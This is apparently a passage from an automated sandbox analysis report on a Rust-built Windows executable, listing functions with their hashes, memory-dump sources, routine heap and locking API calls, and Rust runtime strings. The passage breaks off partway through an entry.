Instruction ID: 0b827a1a1718bcb7997a9aa3b5f5c1d301210a674fa73684f2b64194ce3457ce
Opcode Fuzzy Hash: 8cf89a6a4f212d479511ef2e0342f60d2cf9e5956b69dc5281e7ef18fd593ac8
Instruction Fuzzy Hash: 39914BA3B34A504AFB548605FC263BA5591A348BC4F0CA435EE9FEBB85ED7DD941C340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6566DC3E0, Relevance: 2.7, Strings: 2, Instructions: 244COMMON

Download Yara Rule

Strings

00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899, xrefs: 00007FF6566E3DE4, 00007FF6566E3E0E
0x0X, xrefs: 00007FF6566E4C08, 00007FF6566E9C68, 00007FF6566E9D0C, 00007FF6566E9DA8, 00007FF6566E9E4D

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899$0x0X
API String ID: 0-3545123759
Opcode ID: 56046c7550ed52bdfe75dc2f4c24c1f8cb9fdc33108532781d47b75822622468
Instruction ID: 43ac5b9172925e3a2bd39b080468e7905baaf1e32817b492f2454d8aaaee50ec
Opcode Fuzzy Hash: 56046c7550ed52bdfe75dc2f4c24c1f8cb9fdc33108532781d47b75822622468
Instruction Fuzzy Hash: 7B915B72E0878682EB249B14A4203F93365FB50724F945331D69EAB7D1CE3ED61ADB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6566E00F0, Relevance: 1.5, Strings: 1, Instructions: 251COMMON

Download Yara Rule

Strings

00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899, xrefs: 00007FF6566E00F9

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
API String ID: 0-2272463933
Opcode ID: dc0872d01c9055e9b7bd20087b8191a7b8c896a8ab65341acb4a3a641d23e068
Instruction ID: fe3dfbd67af35b6600b58cc31448a174db26b3cfb7f4ab2095f70970c88d8498
Opcode Fuzzy Hash: dc0872d01c9055e9b7bd20087b8191a7b8c896a8ab65341acb4a3a641d23e068
Instruction Fuzzy Hash: AD911A26705642CBE9608F419904BAB2795FB59BE8F4E1231CE7DA73C0CE3ADC56DB01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6567BB46D, Relevance: .9, Instructions: 896COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e710bcdd259150d731889226b38a1996010d663f0cb32690448dbbd2855a680e
Instruction ID: d847c6b3c1ea01909449e83aaaed588105808e6874d45a8b21300787a51ff998
Opcode Fuzzy Hash: e710bcdd259150d731889226b38a1996010d663f0cb32690448dbbd2855a680e
Instruction Fuzzy Hash: BA82D423B08B8581DA10CF19E4512AD6764FB89BE4F489722EFAE577A5EF39D191C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6566E3E60, Relevance: .6, Instructions: 580COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1e6d31603d9cf9416544ffdca9d3b9b90aca4687ce23b142b7f86f2642bd532
Instruction ID: d5cce087425f47bc6321e9c2ec6e653362028d71b0826245a42c3cad403a5a04
Opcode Fuzzy Hash: d1e6d31603d9cf9416544ffdca9d3b9b90aca4687ce23b142b7f86f2642bd532
Instruction Fuzzy Hash: A0223626E1979245EA12DA365800277A354AFA77C4F09C333FD5A76B90EF7EB942D300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6566E0650, Relevance: .5, Instructions: 467COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68c75194db3fdd69114a760053a15ea44ba5d834bdb039ded1b085d8b9f893d2
Instruction ID: 707089391c3e6eedb6b26a6a5841bff542c8e1f5233e6075c94ef31e7fe05cac
Opcode Fuzzy Hash: 68c75194db3fdd69114a760053a15ea44ba5d834bdb039ded1b085d8b9f893d2
Instruction Fuzzy Hash: CE027B52E2D75346FA13463688112B65244AF637E0E4DC332ED6E723E1EF2BE592DB01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6567AB2F0, Relevance: .5, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffd8232052d7535716555b9eae6f4aee15f83d43c41774c32fb4d237f9befa4b
Instruction ID: 1926de87b3d02841106b43486c346456a5127957ba52a29222e525a34049a5f5
Opcode Fuzzy Hash: ffd8232052d7535716555b9eae6f4aee15f83d43c41774c32fb4d237f9befa4b
Instruction Fuzzy Hash: B412CEB3A046658BE7A48F39C0602BD7BA4F744F48F595236CE49A7389DF79E440CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6567AAE04, Relevance: .3, Instructions: 335COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6263646f14196d6f1aaba4854a735cc3b71111d70ae24775d88ba1fae586469c
Instruction ID: eb6dcb3e8d90a68c333efbce9e84bf59367b297191f71cc67a453ff29166d50b
Opcode Fuzzy Hash: 6263646f14196d6f1aaba4854a735cc3b71111d70ae24775d88ba1fae586469c
Instruction Fuzzy Hash: 44E1E177A092468BD7A4CF15D09093C3BA5F794B85F28413BDB0997790CF3AE85ACB42

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF656788AF0, Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f631dfc066adf6532ef0a018e79f5b6492d1dc013691903ee3e75243a804fe11
Instruction ID: aee004ecff7afe88e8040ae6607dee55026ddbcfac9a0ee93d38f9755b165433
Opcode Fuzzy Hash: f631dfc066adf6532ef0a018e79f5b6492d1dc013691903ee3e75243a804fe11
Instruction Fuzzy Hash: 2EB1B637A0AB5681E6908F25A9602797794BB14B94F1C8631DEAC937E0EE3FDC53D300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6567BCE27, Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b7f2be20fb1c85bcc52ca7c4337b2587c3b959db6a1de84beca6d18cc6da030
Instruction ID: 6f39da2127898bb302756f17e60ab88d6c58b856697ed8c28d0c8791ae132ef0
Opcode Fuzzy Hash: 0b7f2be20fb1c85bcc52ca7c4337b2587c3b959db6a1de84beca6d18cc6da030
Instruction Fuzzy Hash: E3C1BE63B08B8581EA10CF29D4552BD63A0FB89BD4F488636DB9E677A5EF3DD141C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6566E2030, Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7b615a61894958cbb53958140a3809ff7e574f14c99c735fbcb939d32b680be
Instruction ID: 5dfcc6731675e1b6cdb0eb791fa4260f1805ba36a840cda9356fdff4f27ba59f
Opcode Fuzzy Hash: f7b615a61894958cbb53958140a3809ff7e574f14c99c735fbcb939d32b680be
Instruction Fuzzy Hash: 6F91B062B08A8196EA21CF45E8407EA7365FF847A4F584332EB5D53794EF3ED946CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6566DEE87, Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c39c3865d230122efceee29d60c297084553081c3f4f0e4046db4d1adb11e2c
Instruction ID: a3af575eae4acdf259f77a802c73eeaa66e22e95b687a0a775e61fb905fba0b5
Opcode Fuzzy Hash: 1c39c3865d230122efceee29d60c297084553081c3f4f0e4046db4d1adb11e2c
Instruction Fuzzy Hash: A6615BA2F0966312FB199666AC202B851925F84BD4F2D8135DC0FEF7C2EC7EE442D681

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6566E1D40, Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ce4edf530bda17a61dbc83ba4406436e7d163b26e9afebf655f7fd74c75ebbb
Instruction ID: ea103cbc1f35bf13b87bea5bc286156094bb3f13aba5be25f995e948c05d22d1
Opcode Fuzzy Hash: 2ce4edf530bda17a61dbc83ba4406436e7d163b26e9afebf655f7fd74c75ebbb
Instruction Fuzzy Hash: 7271FFB6F04A4342EF248B05D9402B6A665EF957A0F4D9631CE09AB6D4DE3EE841EA40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF656780120, Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf643a1b248f3c7f5a268fb936c6bb7020c49d89a99870c15f588a8fc3abc271
Instruction ID: c5596173c8267ccf32708bc89dfd1c75b0b78fe168c01af8911500fc172d03bf
Opcode Fuzzy Hash: cf643a1b248f3c7f5a268fb936c6bb7020c49d89a99870c15f588a8fc3abc271
Instruction Fuzzy Hash: 6F514862F0D68146FF64863499297BC2F82AF053A0F8D4531C96DE66E5EDAEDC82C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6566EDABD, Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6867cf29bfcb6212202b436618a19353fb01d588acc0499fc3bc6f0f242d8a5
Instruction ID: f7089e898d143bf6654cf7950ed70bff5876222c1f307261c02091b50961f46b
Opcode Fuzzy Hash: f6867cf29bfcb6212202b436618a19353fb01d588acc0499fc3bc6f0f242d8a5
Instruction Fuzzy Hash: 361194E1B45A4442FEA8E76C7B2506A53639B543E4F50F831CE4D97B0EDF2EE2938240

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF656785760, Relevance: 19.9, APIs: 10, Strings: 3, Instructions: 425memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF65678585E
HeapFree.KERNEL32 ref: 00007FF65678586B
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF656785F5A), ref: 00007FF656785A58
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF656785F5A), ref: 00007FF656785A90

Part of subcall function 00007FF65677B1A0: GetLastError.KERNEL32(?,?,?,?,?,?,?,00007FF656785D03,?,?,?,?,?,?,?,?), ref: 00007FF65677B1D6

Strings

called `Option::unwrap()` on a `None` value, xrefs: 00007FF6567859E8, 00007FF656785DCA
already borrowed, xrefs: 00007FF656785AAE
alibrary\std\src\io\stdio.rs, xrefs: 00007FF6567858DF

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalHeapSection$EnterErrorFreeLastLeaveProcess
String ID: alibrary\std\src\io\stdio.rs$already borrowed$called `Option::unwrap()` on a `None` value
API String ID: 168510772-570499286
Opcode ID: 07746c1f0f7e70563e8a79c2b2e30f711212cadae961e31b663788cd477062c4
Instruction ID: 9edf8aa5495198733f27ef40be72f2e0efbf116becd83c8d911ca4e3f7b63b72
Opcode Fuzzy Hash: 07746c1f0f7e70563e8a79c2b2e30f711212cadae961e31b663788cd477062c4
Instruction Fuzzy Hash: 75F11562E08A4281FA609B21E5743B96761FF45BD4F4C8135DE8DA7BA5DF3EE981C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6567866B0, Relevance: 18.2, APIs: 11, Strings: 1, Instructions: 185memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF65678671B
HeapAlloc.KERNEL32 ref: 00007FF65678672B
GetProcessHeap.KERNEL32 ref: 00007FF656786751
HeapAlloc.KERNEL32 ref: 00007FF656786761
GetProcessHeap.KERNEL32 ref: 00007FF656786780
HeapAlloc.KERNEL32 ref: 00007FF656786790
GetProcessHeap.KERNEL32 ref: 00007FF6567867F5
HeapFree.KERNEL32 ref: 00007FF656786802
LeaveCriticalSection.KERNEL32 ref: 00007FF65678683E
GetProcessHeap.KERNEL32 ref: 00007FF6567868E2
HeapFree.KERNEL32 ref: 00007FF6567868EF

Strings

formatter error, xrefs: 00007FF656786747

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Process$Alloc$Free$CriticalLeaveSection
String ID: formatter error
API String ID: 987588952-3172192836
Opcode ID: a16f5dd1af5362dff2b8c0a88c7f9e6ff9d533c67adad8c7ed8df36ab336106a
Instruction ID: 5ac0136538b84b08967c14c9f7862cbfbc9c2ad418e150c03300f7a74d0d0ea3
Opcode Fuzzy Hash: a16f5dd1af5362dff2b8c0a88c7f9e6ff9d533c67adad8c7ed8df36ab336106a
Instruction Fuzzy Hash: 8161FD12A0868641FB259B16E4613BE67A1EF85BC0F0DD035DF9D577A6EE3DE982C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF656785480, Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 205memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32 ref: 00007FF656785491
GetProcessHeap.KERNEL32 ref: 00007FF6567854AC
HeapAlloc.KERNEL32 ref: 00007FF6567854BC
ReleaseSRWLockExclusive.KERNEL32 ref: 00007FF656785552
TryEnterCriticalSection.KERNEL32 ref: 00007FF656785638
GetProcessHeap.KERNEL32 ref: 00007FF6567856A6
HeapFree.KERNEL32 ref: 00007FF6567856B3
GetProcessHeap.KERNEL32 ref: 00007FF6567856CC
HeapFree.KERNEL32 ref: 00007FF6567856D9

Strings

already borrowed, xrefs: 00007FF656785734

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Process$ExclusiveFreeLock$AcquireAllocCriticalEnterReleaseSection
String ID: already borrowed
API String ID: 1223081254-4122307393
Opcode ID: a850bd1929b87a57e3fc69484396100029b63ba9b87fb3373e16f455f008af53
Instruction ID: 258bf344a2cefbe540179f7ecf784e46a4eb483b2848e195f344ae394d8aca26
Opcode Fuzzy Hash: a850bd1929b87a57e3fc69484396100029b63ba9b87fb3373e16f455f008af53
Instruction Fuzzy Hash: 3F812932A0864682F7659B15E1703B96361FF80794F188135DB5EA7BA4EF3EE981C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6567814F0, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32 ref: 00007FF6567814FD
ReleaseSRWLockExclusive.KERNEL32 ref: 00007FF656781586
GetProcessHeap.KERNEL32 ref: 00007FF656781671
HeapFree.KERNEL32 ref: 00007FF65678167E

Strings

assertion failed: key != c::TLS_OUT_OF_INDEXES, xrefs: 00007FF656781595

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveHeapLock$AcquireFreeProcessRelease
String ID: assertion failed: key != c::TLS_OUT_OF_INDEXES
API String ID: 1551148922-1549602911
Opcode ID: ef679cf656f9aff8362423c15b3e5f463f0b961f057dd398b7f97b16e76ee55e
Instruction ID: eed3da22f3a0989ce95844b27321bdf86f4851f289e534568d4c180303327665
Opcode Fuzzy Hash: ef679cf656f9aff8362423c15b3e5f463f0b961f057dd398b7f97b16e76ee55e
Instruction Fuzzy Hash: 1631D121B09A4341FA54AB56E8603B52262AF807E4F4C4135ED6DE77E5EE3EE946C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF65677ACD0, Relevance: 15.2, APIs: 9, Strings: 1, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF65677AD26
HeapAlloc.KERNEL32 ref: 00007FF65677AD36
GetProcessHeap.KERNEL32 ref: 00007FF65677AD5C
HeapAlloc.KERNEL32 ref: 00007FF65677AD6C
GetProcessHeap.KERNEL32 ref: 00007FF65677AD8B
HeapAlloc.KERNEL32 ref: 00007FF65677AD9B
GetProcessHeap.KERNEL32 ref: 00007FF65677AE00
HeapFree.KERNEL32 ref: 00007FF65677AE0D
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF65677AEC3

Strings

formatter error, xrefs: 00007FF65677AD52

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Process$Alloc$Free
String ID: formatter error
API String ID: 1864747095-3172192836
Opcode ID: 59c70fd698dc75d9b2ad86eeaa586765cc80720ef9ad73340356e1e130727849
Instruction ID: 2e44679b080de4f9c288ce819b3b04ac95d80a76d01c67778bac327a59f864db
Opcode Fuzzy Hash: 59c70fd698dc75d9b2ad86eeaa586765cc80720ef9ad73340356e1e130727849
Instruction Fuzzy Hash: 12510C22A09A8541FB159B15E4613BE63A1EF84B80F0CD035EF9D677A5EF3DE582C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF656780CF0, Relevance: 13.6, APIs: 8, Strings: 1, Instructions: 124memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF656780D46
HeapAlloc.KERNEL32 ref: 00007FF656780D56
GetProcessHeap.KERNEL32 ref: 00007FF656780D7C
HeapAlloc.KERNEL32 ref: 00007FF656780D8C
GetProcessHeap.KERNEL32 ref: 00007FF656780DAB
HeapAlloc.KERNEL32 ref: 00007FF656780DBB
GetProcessHeap.KERNEL32 ref: 00007FF656780E20
HeapFree.KERNEL32 ref: 00007FF656780E2D

Strings

formatter error, xrefs: 00007FF656780D72

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Process$Alloc$Free
String ID: formatter error
API String ID: 1864747095-3172192836
Opcode ID: 7879a85c69c8448713c35ceace4569c3b49b8024dfa4e283f0fc750c9558e002
Instruction ID: fa64ca47a99bc7d528519244da48a6e2cdce1fded23b1bcb6dfde0e8395635ee
Opcode Fuzzy Hash: 7879a85c69c8448713c35ceace4569c3b49b8024dfa4e283f0fc750c9558e002
Instruction Fuzzy Hash: 56412E22B0C68641FB155B15E4613BE6791EFC4780F0CD035EA9D577A6EE3EE581C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF65678A3D0, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 113COMMON

Download Yara Rule

APIs

QueryPerformanceFrequency.KERNEL32 ref: 00007FF65678A413
AcquireSRWLockExclusive.KERNEL32 ref: 00007FF65678A4AB
ReleaseSRWLockExclusive.KERNEL32 ref: 00007FF65678A4E8
GetLastError.KERNEL32 ref: 00007FF65678A516
GetLastError.KERNEL32 ref: 00007FF65678A536

Strings

attempt to divide by zero, xrefs: 00007FF65678A4FC
called `Result::unwrap()` on an `Err` valueC:\Users\yyy\.cargo\registry\src\github.com-1ecc6299db9ec823\zip-0.5.13\src\cp437.rs, xrefs: 00007FF65678A559

Memory Dump Source

